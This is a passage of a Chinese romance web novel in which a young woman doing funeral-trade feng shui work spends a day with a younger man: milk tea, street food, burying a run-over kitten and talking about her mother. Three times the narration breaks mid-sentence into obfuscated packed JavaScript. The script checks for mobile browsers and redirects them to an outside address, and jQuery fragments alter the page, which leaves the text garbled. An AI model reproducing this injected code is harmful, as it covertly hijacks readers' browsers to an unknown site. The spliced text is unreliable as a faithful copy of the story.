“大爷选的这盒不是挺好吗。”孟至冷淡地插嘴道，“这东西选什么就是什么吧，没听说谁还换来换去的。” 白虎不悦地盯了孟至一眼，似乎觉得她是因为自己拿不到提成，才会如此仗义执言、惺惺作态。他把盒子塞进孟至手里，一拧身离去了，临走时还不满地看了她一眼。 孟至懒得理他，习惯性地甩了一下头发，尽管她的红发都牢牢地隐藏在帽子中。 终于，青龙迈着铿锵的步伐现身，招手叫上恍然大爷，要带他去领骨灰。他叫孟至先自行下班，今天的兼职到此为止。跟几人道别后，孟至沿着九曲长廊往外走，边走边摘下帽子和口罩。她回头看着火化炉的方向，一缕黑烟正飘出烟囱，不知那是否来自恍然大爷的母亲。 正想得出神时，身后一声突如其来的问话，令她的心微微一动。那个声音清凌凌地问道：“你怎么在这？” 转身一看，方铭就站在她眼前，穿着墨绿色短袖和黑色长裤，整个人像一块温润的墨色玉石。她的心再次摇动了一下，就像风中的风铃。他正歪着头看着孟至，似乎想要透过她光彩夺目的外表，看出她深藏在精神中的诸多秘密。 孟至哦了一声，理所当然地说：“我是做白事行业的风水师。”那语气就像在讲别人家的日常小事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419257|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方铭眨了两下眼睛，停顿了片刻，才说：“我是来前面那条街拿货的，记得佛香源吗？我替店主过来跑腿。” “嗨，早知道我帮你捎回去了。”孟至非常自来熟地一摆手。方铭低声说：“早也不知道你是做什么的呀。方才看到你和那天的人站在大门口，我差点以为他又要缠着你。” “原来你在旁边看着我？”孟至挑起一侧眉毛，“看见我什么了？” “看见你自我介绍，你说你叫百五。”方铭微笑着说，“你这个法号姓什么？” “你很关心我啊。”孟至笑眯眯地看着他，“还有呢？” “还看见你带他们进了停尸房，说是要给什么开光。”方铭凝视着她的脸，眼皮上折出了一条深刻的痕迹，“原来你是做法事的？很少有女孩做这个。” “不帅气吗？”孟至戴上墨镜，向他虚挥了一下手，“可不止法事呢，我们是丧葬一条龙，服务范围包括临终关怀和身后料理。我的级别是小时工，都入职一周了。” 方铭还在定定地看着孟至。不等他回答，两个身穿墓园制服的年轻女孩从旁边大步经过，带起一阵充满朝气的风，暂时地划破了这片阴沉的背景。她们中的一个大声说：“哎，下午你记得提醒我去领那个材料！”另一个朗声大笑，回答道：“再忘，领导就气成隔壁吴老二了……” 她们欢声笑语地走了过去，留下孟至和方铭面面相觑。方铭说：“这里的工作人员应该都接受过培训，早就不怕鬼魂了，他们认为人死以后就被分解，不复存在了。” 孟至抱起手臂，一本正经地说：“要是每个人都这么想，我们白事行业的服务范围就要削减了。” 他煞有介事地问：“姐姐，你真的才入行一周吗？” 孟至则反过来夸赞道：“你拆家具也拆得挺好哇，一点都不像临时工。” “小时工对临时工，彼此彼此。”方铭伸出右手，悬停在半空中。孟至低头笑了，和他握了握手。那只温暖的大手不轻不重地包围了孟至的手，她感觉到一层薄薄的茧子贴着她的皮肤，触感十分坚硬。 “你今天开车了吧？走，我请你吃饭。”孟至抽回右手，顺势拍了拍小方的肩膀，“你今天又打了几份工？” 他垂着睫毛说：“没几份，和你吃饭的话，我肯定有空。” 那辆小货车就停在不远处。两人钻进车厢，方铭一脚油门，带着孟至离开了这片尘土飞扬的鬼魅地方。车子开上大路时，方铭温和地问：“咱们去哪儿？” 孟至英姿勃勃地指挥道：“先去部落格奶茶店。前面路口右拐，然后一直往前开，然后怎么走我忘了……总之你想办法开到冰激凌胡同，然后我带你走过去。” 方铭的嘴角无声地上扬起来。按照孟至的指示，他单手打着右转的方向盘，另一只胳膊架在敞开的窗户上。货车离开湿冷的墓园，开进了温泉一样的阳光中。 12. 你很神秘 货车被停进居民楼的空闲车位。此时距离午饭时间尚早，孟至和小方一人一杯奶茶，坐在胡同的台阶上晒太阳。 孟至手捧着自己那杯浅紫色香芋奶茶，伸头去看方铭那杯浅绿色的：“哈密瓜味的是什么样的？好喝吗？”言下之意，显然是想叫方铭给她尝尝。 方铭二话不说，插上吸管，递到孟至面前：“你先喝，我再喝。” 孟至一手拢着颈边的酒红色长发，微微向前探去，似乎要近距离观察那杯饮料的色彩和质地，又似乎是要就着方铭的手直接喝一口。方铭的指关节开始无意识地发力，使得关节表面的皮肤都发白和紧绷，塑料杯也被他捏进去一个坑。 接着，孟至停顿在半路，微微一笑，抽出自己那杯的吸管，啪地一下插进他的杯子里。一层薄薄的塑封膜上，两根吸管不远不近地站着，好像在彼此对望。没有了手的约束，她的长发向前散落，蜷曲着披在肩头。 孟至凑到吸管边喝了两口，抬起头看着方铭，一脸大彻大悟的表情：“比真的哈密瓜还有瓜味儿。” 这次她没有得到回应。方铭的眼睛像瞄准镜一样锁定了她，带着无声无息的侵略气息。如果人的眼神是一种如水般的介质，孟至应该已经淹死在他双眼释放出的幽光里了。 孟至若无其事地低下头，抽回了自己的吸管，将其重新扎入香芋味奶茶中。 淡绿色奶茶缓缓移开了。方铭单手拎着奶茶杯口，手肘支在曲起的膝盖上，久久没有说话。等他再开口时，似乎带着淡淡的笑意：“姐姐，你趴在杯盖上喝奶茶还挺可爱的，像小熊或者小鹿在岸边喝水。” “小熊好呀，我喜欢熊，”孟至挑起一侧眉毛，歪着头问道，“像什么熊？”她猜他不会知道布朗熊或帕丁顿熊这类卡通形象，应该只会说是毛茸茸的小棕熊。 方铭说：“我还能知道啥熊，就熊大熊二那种呗……” 气得孟至一拳把他打飞。他像沙袋一样沉沉地歪到一边，垂着眼睛笑了起来。完全铺展开的微笑就像春天时融化的雪水，在他的脸上荡漾和蔓延着。很快，他仰起的脸变成了日光下的冰水湖泊，泛着波光粼粼的银辉。 孟至甩着自己的手，还在暗自回味着方才拳头捶到他手臂上的触感，那截大臂结实而富有弹性。 一时间，两人谁也不和谁说话。又喝了半杯奶茶之后，孟至开口说：“想不到能在老家认识你哎。” “为什么不能在老家认识我哎？”方铭坐直了身体，两人的距离再度拉近。 “因为老家没有我认识的年轻人了。”孟至一手托着腮帮，指着墙上的橘色瓢虫，“看那个花大姐。” 方铭嗯了一声：“看见了。” 孟至告诉他，她总觉得东三省就坐落在这只瓢虫的背上。瓢虫慢慢地向前爬行，风轻日暖，它背上驮着的生活平静而悠闲。但瓢虫的爬速却异常缓慢，虫背上的人完全感觉不到自己在前进。 “你觉得这里节奏太慢了，平时也没有什么好玩的？”方铭转头看着她，“恩，也对，年轻人嘛，都喜欢舞剧，话剧，livehouse……” 孟至笑嘻嘻地说：“好像你有多老似的。” 方铭轻声说：“我自己搬出来住以后，很久没回我爸妈家了。可是有一次我回那边去办事，发现那条街二十年都没有变化。房子都是原样，一家一家店铺还在开着，铁轨边的棚户区还住着人，人行道的地砖也还是不平……” “至少说明那些店铺还行呀，这么多年过去了，它们都还活着呢。”孟至无奈地笑了一下。她看着缓慢移动的瓢虫，就像看见了这片暮气沉沉的土地。 她站起身来，居高临下地说：“走吧，咱们去吃东西。”方铭也随之起立。沿着绿树成荫的街道，两人慢慢走向附近的商区。 方铭忽然问道：“你会一直留在这里吗？” 孟至游手好闲地走着，像个梦游的混子路过这里，实际她的心里微微一惊。她发现方铭看透了她变幻莫测的内心，直接点出了一个尖锐的问题。她会一直留在老家吗？这种放逐会坚持多久？ 她会在风水师这份兼职结束后，找到正确的职业方向吗？在这片暮气沉沉的土地上，没有南方的温暖和热闹，没有年轻人喜欢的文化艺术活动，她像迷路的人在大雾里游荡，始终没有找到一处让她为之停留的光芒。 见孟至始终不回答，方铭的眼神迅速暗淡下来。他似乎明白了，见过灯红酒绿的人不会再喜欢小镇。 他目视前方，从喉咙里嘀咕了一句：“总觉得你很神秘，我看不清你。” “怎么会呢？”孟至反剪双手，晃晃悠悠地走着，“我多诚实的一个人啊，你看，你问我什么我就答什么，就连我是风水师这事都不瞒你。” “就像一池水很清澈，”方铭沉闷地说，“但因为清澈，所以很难参透水到底多深。” “哎我天，”孟至无比欣赏地看着他，“你是文科生吧？我就写不出来这么有哲理的比喻，你说得太好了。” 方铭勉为其难地抿嘴一笑，孟至又想起他也许初中毕业就念了技校，或许没有经历过高中文理分科。 多年来的察言观色本领，让孟至感觉到周围的气压在无声无息地下降。方铭情绪低落，尽管她不敢断言这是为什么。为了把他重新逗笑，她在一栋楼前站定了。 墙面上用蓝色油漆写了几行字，孟至声情并茂地朗诵起来。 天惶惶，地惶惶， 我家有个夜哭郎。 过路君子念三遍， 一觉睡到大天亮。 哼地一声，方铭终于低低地笑了出来。孟至说：“我念了一遍，剩下两遍你来。” “不来。”方铭一本正经地摇了摇头，“我自己都要成夜哭郎了，还给别人念？” “多大人了，还哭。”孟至半真半假地说，“快别哭了小方。这样吧，我们来玩游戏，你问我答。” 他深深地看了一眼孟至。远远地，一片喧嚣而凌乱的商业街出现在视野尽头。这片位于老城区市中心的地段，还保留着本世纪初的风貌，既有连绵的小吃摊位，又有卖袜子手套的推车。 两人把脚步放得更慢了。马路上车流如织，步道上的人互相碰撞。方铭把孟至揽到另一侧，自己替她抵挡着飞驰而过的电动车。 “问吧！”孟至豪爽地一挥手，“想知道什么？” 方铭乖巧地问：“做你们风水师这行的，有没有灵异事件？” “有呀。”孟至严肃地说，“我听说，有户人家供了一张菩萨像，这家的孩子看那画上的菩萨，怎么总觉得她没有眼睛？但他没敢说出来。结果后来你猜怎么？这家的老奶奶失明了。” 肉眼可见地，小方浑身打了个摆子，不声不响地朝孟至贴过来。孟至大笑起来。 方铭敢怒不敢言地看了她一眼，闷声说：“这个好吓人。” “还想知道什么？” “你的那些老家具，是哪里来的？”方铭犹豫了一下，还是问了下去，“又为什么要扔掉？是原本有什么纪念意义吗？” “是呀，原本是男朋友送的，后来吵架了，就扔了。”孟至说完，还像青龙师兄那样闭眼点了点头，表示懂的都懂。 方铭不吭声了。他的头垂了下来，每根眼睫毛都悬挂着忧愁，就像冬天时房檐上垂下来的冰柱。他停住了脚步，几乎要转身拔足狂奔而去，又似乎想问问孟至为什么有男朋友还要和他出来喝奶茶。 孟至背着手，休闲地站着，突然转头对他嘻嘻一笑：“逗你的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419258|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我妈有囤物癖，把老家具放在我的公寓里。” 她似乎听见一声轻轻的呼气，原来刚才方铭一直在闭气。他无奈地看了一眼孟至，说：“难怪你要偷着扔。” “对，不能明着扔，”孟至点头赞成，“我妈会疯。” 他笑了起来，这次竟露出了上排的牙齿。 走到商区中心之前，他问了最后一个问题：“你以前做寿险销售一定很厉害吧？” “那当然。”孟至毫不谦虚地说，“我是我们团队里最年轻的，但业绩不比任何人差。” “那为什么不继续在老家做这个呢？”方铭试探地看着她，“因为要重新积累客户？” “对，这是最主要的原因。一想到要重头再来，像犯人出狱重新做人一样，我觉得好累啊。”孟至哎了一声，“还有呢，在老家，丛林法则第一条是人情。人情这张网，铺天盖地。在老家卖保险，靠的是亲情营销和熟人营销。” 方铭笑了：“杀熟。” “也可以这么说，一开始肯定只能抓着亲戚朋友推销。所以东三省虽然经济总量不大，保险深度却能在全国排前五。”孟至苦恼地一撩头发，把红发向身后甩去，“但我不想用人情绑架人家。我希望我能把合适的保险卖给需要的人，希望每个投保人跟产品匹配。” 方铭默不作声地看着她，竟像迷弟在观看女团。孟至继续说：“其实我本科是学数学的，那时候我想做精算师的。我想设计一款普度众生的保险！” “……” “每个投保人都缴纳适当的保费，得到适当的保障，恰好完美地弥补他的缺口，达到他生活的最优平衡！” “……” “但是等我进保险公司实习，才发现不是你想设计什么就设计什么。”孟至笑着回看了他一眼，“产品样式就那么多，合同条款大同小异。市面上各家都是互相抄抄而已。” 方铭温和地回答道：“你的设想真的很好，只是保司都要以盈利为目的，在现有的产品上翻新才是最稳妥的。” “你说得对！”孟至悠悠地举起大拇指，接着说道，“所以我最后还是做了销售，我心想，如果不设计产品，那我就为客户设计一个最适合的保险方案，我好好卖产品！”说着，她双手一拍，把方铭吓了一跳。 “如果你在老家卖保险的话……”方铭小心翼翼地说，“我是说，如果你想继续的话，你可以把目标锁定在想要保证生活质量的群体上，比如体制内的中层。还可以锁定那些想做财产分离的群体，比如经商的人。” “没错。后者就是高净值客户，是我以前专攻的对象。”孟至随手打了个响指，“比如有人想给子女留遗产，又希望避税，就会以自己为被保险人，买一份高额寿险，指定子女为受益人。又比如有人想为子女安排婚前财产分割，就会为孩子买一份增额终身寿，或年金险。孩子是被保险人，也是受益人，将来即使结婚了，保单也不属于共同财产，离婚不会被分走钱的。” 说起自己的专业，她的眼里熠熠生辉，仿佛又回到珠三角的职场上。这些天以来，纸钱的灰烬似乎落满了孟至的全身，现在她抖擞精神，焕然一新。 她恳切地总结道：“所以呀，各家保司都在比谁的产品利率更高，其实很多有钱人根本不看那仨瓜俩枣，图的是财产规划。” 在妙不可言的轻盈和愉悦中，孟至突然想到，刚才方铭猜测得句句在理。她拍了拍他的肩膀，懒洋洋地笑了：“你很懂呀，小方。” 他眨了几下眼睛，无辜地盯着前方的小吃一条街：“咱们去吃烤串吧！” “走吧。”孟至牵着他的袖子，把他引向那条小巷子，“这回我不神秘了吧？” 他却微微抿起嘴说：“可我觉得你更神秘了。” 13. 夜晚街边野餐 眼前这片商区是C市久负盛名的青年聚集地，毗邻艺术学院，既村野且小资，其混合型气质独一无二。 这里没有一座现代化的商场，站在主干道上，只能看见两侧的老旧写字楼。唯一一条显眼的胡同是小吃一条街，烧烤摊的白烟互相融合，颇具集聚效应。只有拐进小路，深入每一片居民楼，那些酒吧、舞厅、买手店、咖啡屋和文创店才会逐一现身，就像一群游走在暗处的朋克乐队成员。 孟至率领方铭走进小吃一条街，就立刻被各式各样的诱惑冲昏了头脑。鳞次栉比的小吃门店像一整个版面的彩色报纸，混乱而五光十色。这些门店不仅占据了这条条绵延的小街道，还以此街为主体向四周蔓延，如同扩散开来的叶脉。 此时正有许多年轻人站在街边，对着垃圾桶吃肉串、章鱼小丸子、狼牙土豆、土耳其烤肉卷饼……孟至容光焕发地跑上前去，差点忘记了方铭。 方铭如影随形地跟在她身后，低头在她耳边说道：“姐姐，这里人好多啊，人群密集恐惧症都犯了。” 孟至放慢了脚步，伸手轻轻勾住他的袖子。在一片车声和吆喝声中，她踮起脚对他说：“就从这家开始！”她的手指向离他们最近的一家鲷鱼烧小店。 很快，方铭的手里提满了大包小裹。孟至一只手拿着一块蜂蜜蛋糕，另一只手拿着一颗冰糖葫芦，在他前面无牵无挂地走着。伴随着气势十足的步伐，酒红色长发在她身后跳跃和摇动。 小吃一条街的主线已经走完，孟至扔掉手里的垫纸和竹签，回头凑到方铭身边，伸手去接那些手提袋：“我来拎我来拎，你吃点儿嘛。” 方铭却摇头说：“你别沾手了，我来吧。” 孟至没再坚持，转而拈起竹签，从纸袋里叉出一个丸子，递到方铭嘴边。他愣了一下，一时间不敢轻举妄动。孟至大大方方地说：“我喂你。” 他的嘴唇微微动了一下，却没有张开。孟至发现他的嘴上仿佛镀着一层雾蒙蒙的粉色晚霞，如同毛茸感的水蜜桃，正中央的唇珠柔韧而纯真。见孟至看着自己的嘴，他又开始不停地眨眼。 孟至作势要收回丸子：“你不吃呀？那我吃了——” 方铭用一根手指阻拦了她即将撤回的手，俯下身来，一口吞入丸子。几乎没看见他是怎么嚼的，丸子被咽了下去，喉结上下起伏。他紧紧盯着孟至的脸，沉沉地说：“再来一个。” “好嘞。”孟至挺着竹签，深入纸袋重围之中，这次悄悄扎起一块麻辣味炸鸡，又去另一个袋子里沾了几层芥末，不动声色地送到方铭嘴边。她的脸上带着殷勤的笑容，像唱迷魂曲一样对他说：“这个好吃，你快吃。”浓郁的芥末气味，已经随风飘散到孟至的鼻尖上。 想不到方铭又一口吞了下去，面不改色，只是这次吞咽动作缓慢而艰难。孟至顿时不知所措，举着竹签，呆呆地站在原地，心想他可能被毒哑了。她小心翼翼地问：“不辣吗？” 方铭用略带沙哑的嗓音说：“辣。”看着孟至那副闯祸后的心虚表情，他别过头去，微微笑了一下，出声提醒道：“姐姐，不给我喝水吗？” 孟至这才醒悟过来，急忙从另一个手提袋里找出一瓶冰镇桦树汁，插好吸管，举到他面前。他就着孟至的手喝了几口，孟至讨好地问：“好喝吧？不辣了吧？” 他恩了一声，目光重新汇聚在她的脸上，如同两束灯光追随着星辰。他歪着头说：“我喜欢甜的。” 然而，孟至觉得他说的并不是桦树汁。不知不觉，她捏紧了竹签，轻轻避开他的目光，含糊地说：“甜的？” 他有意无意地靠近一步，又重复了一遍：“恩，我喜欢甜的。” 不等他再说什么，孟至转身就跑，带头奔向下一条街：“去那边看看，那边好像有柴犬咖啡店。” 在她身后，方铭慢悠悠地说：“我知道那家店怎么走。”孟至刹住脚步，任由他在前方开路，自己亦步亦趋地跟着，十分本分。在小方的带领下，他们穿越潮水般的人群，高抬腿跨过一道土坡，迈大步爬上荒芜的花坛，最后又回到人行道上。 孟至忍不住说：“哎，小方，你要是以后带女孩约会可别这么抄近道。”方才要不是她身手矫健，可能已经要手脚并用爬着走了。 方铭若无其事地说：“可这是最直接的路线啊。” 看起来，他觉得自己做得好极了。孟至刚想嘲笑他，忽然被他轻轻拉住了。方铭看着脚下，低声说：“猫。” 一只巴掌大的幼年狸猫躺在地上，身上沾满了污泥，几乎和地面融为一体。它已经死去，在它周围，几道混乱的车辙痕迹拖过地面，经过了它的身上，在猫的皮毛上留下烙印，又毫不在意地继续向前延伸而去。 孟至停住脚步，心脏一瞬间悬停了一下。大概是在墓园里看惯了整容后的遗体，当她近距离面对惨死于电动车轮下的猫尸，她突然感到恐惧。她伸手勾着方铭的袖子，两人悄无声息地上前半步，蹲在地上看着血肉模糊的猫身。 方铭手里垫着几张纸巾和塑料布，将狸猫转移到空纸袋中。孟至不想触碰死去的生物，她知道那种冰冷的触感令人胆寒。他们找了很久，终于找到一片有树有湖的场地，于是用几根竹签挖了地洞，将狸猫葬在林中。方铭在猫冢上插了三根竹签，孟至默不作声地蹲在他旁边，久久抱着膝盖。 “想什么呢？”他看着坟头，轻声问道，“是不是害怕了？” “还行，我本来也是风水师。”孟至也看着坟头，两人谁也没有看谁。过了一会儿，孟至说：“我只是在想，如果是人被撞了，过路人看了一定会受震撼，会围上来急救，会觉得同情。现在是猫被撞死，为什么人类就不会受太大震撼呢？” 方铭依然没有看她，但是声音里带有一丝笑意：“人类也会受震撼啊，比如你啊。” 孟至继续说道：“我的意思是，为什么过路人没有共情它呢？是不是人真的比动物金贵？” 方铭回答道：“人也会共情它啊，比如你啊。” 两人蹲得双腿发麻，终于离开猫冢，沿着湖堤慢慢兜圈。夏季秋初，冷风四起，柳树的枝条不停地飘向湖水，就像无数双手在诡异而柔曼地触摸湖面。那种无规则的律动令孟至着迷，她沉浸地看着，下意识地向方铭靠拢过来。两人的肩头偶尔轻微地触碰，再立即分开。 孟至忽然说：“人可真是奇怪啊。你说，为什么我能共情一只不认识的猫，但是不能共情自己的妈妈？” 方铭敏感地观察着她的脸色，缓慢地问道：“你妈妈，她怎么了？” “她和我姥姥关系不好。我姥姥姥爷没有尽到责任，她小时候就像个野孩子。”孟至抱起手臂，尽量用最少的句子阐述这些陈年积怨，“我妈每次说起这个就怨气冲天，我明明应该同情她呀？可我怎么从来不想着她的不容易，我每次都烦得很，会找机会逃跑。” 方铭轻声笑了。太阳沉入楼房之后，一阵大风猛烈地吹来，孟至缩得更紧了。方铭默默脱下长袖衬衫递给她，自己只穿着内搭的短袖T恤。孟至接过来披在身上，哆嗦着说：“我们轮流穿吧，一会儿还给你。” “逃跑才是正常的吧。”方铭突然开始回答她的问题，“每个人自己走路就已经很沉重了，怎么还能再背一个别人的包袱呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419259|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？即使是母女俩，也没法替对方去活。” 孟至恩了一声。也许是这件带着体温的衬衣让她血液回暖，她突然觉得心里的重负减轻了一些，就像一间堆满沙石的仓库突然被清出了一块空地。她忍不住向方铭说出更多鸡零狗碎的往事：“你知道吗，2018年的时候，我去替我妈跑腿办事，结果办砸了。她觉得我得罪了人，大骂了我一顿，我好几年都没缓过来。” “这样很伤自尊心吧。”方铭就像能跟人共感，准确地说出了刺痛的来源。那次大吵之后，孟至有一两年都没怎么回家。他又问：“那时候你才多大？她有没有事先教你，去了怎么说话，怎么做事？” “那是一点没教啊。”孟至苦着脸说，“那时候我才上大一呢，我懂什么呀。我自以为办得很好，结果回来被大骂一顿，哎——” 在孟至的长吁短叹里，方铭突然若有所思地看着她。接着，他的嘴角不宜察觉地上扬起来，好像终于摸清了探询已久的秘密。 孟至总结道：“所以我现在总是懒洋洋的，见势不妙就躲，我才懒得跟她吵呢。” 方铭真诚地说：“你可能是缺乏维生素d，才会乏力，姐姐。”最后两个字喊得很轻，就像薄纱般的耳语。 “……”孟至以一句升华式的结尾，作为这次讨论的终点，“长大的好处，就是有能力照顾自己，可以独自生活。” 他却好像对孟至的过去很感兴趣，竟然不想结束这对话：“那你怎么还回家来了？还是说……你之后会再离开这里？” 谈话又绕回了那天的问题，孟至仍然没有答案。她无奈地说：“我也不知道。我总觉得自己没有陪伴父母，现在他们年纪大了，身体越来越差了。但是真的回到他们身边，又会让我不太开心。” “父母啊。”方铭垂着头，轻轻踢着路上的石块。他仿佛在自言自语：“父母年轻时候为家庭操劳，养育孩子，很辛苦。到老了又没有陪伴。” 这几句话没头没脑，既像是在回答孟至，又好像没有切题。孟至觉得他是在勉强地敷衍作答，但这又并非他的本意。她抬头看向方铭，发现他心不在焉，脸上浮现出一层低落的神色。 出于一个优秀销售顾问的觉悟，孟至猜测他此刻内心正感忧郁。但她不知道自己说错了什么，她复盘着方才的对话，突然内心一个激灵。方铭会不会已经没有父母，所以被触动了伤心往事？ 接着，她又想起方铭曾说他有一次回父母家办事，还说他拥有一缸父亲手酿的人参酒。悬着的心又放下了，孟至觉得自己太过敏感，也许一切都风调雨顺，他只是开始犯困或不耐烦了而已。她这才意识到，整个晚上，湖边的对话都一直围绕着她而展开。在她做销售时，她与客户的对话永远围绕着客户展开，她必须小心地保持着交谈的方向，避免让自己占据太多篇幅。 而在方铭面前，她似乎总是被摆放到主角的位置。 正在孟至胡思乱想时，忽然听见方铭在问：“你吃蛋糕吗？” 孟至想也没想，脱口而出：“吃。”然后她抬起头来，发现两人不知不觉走出了公园，走到了一条不起眼的街道。路边是一家蛋糕店的橱窗，奶油的甜香一浪一浪地传来。方铭微微一笑，从敞开的窗口里买了几种小蛋糕。 还没来得及抢单，方铭已经付了款，把淡黄色的纸袋递到孟至面前。孟至不好意思去接，她觉得自己刚才答得太快，好像在讹人家蛋糕。方铭却说：“带回去当早餐吧，今晚谢谢你请我吃饭。” 孟至接了过来，对他抿嘴哼哼一笑。在告别之前，方铭清淡地说：“开心点。小小年纪，别老心事那么重。”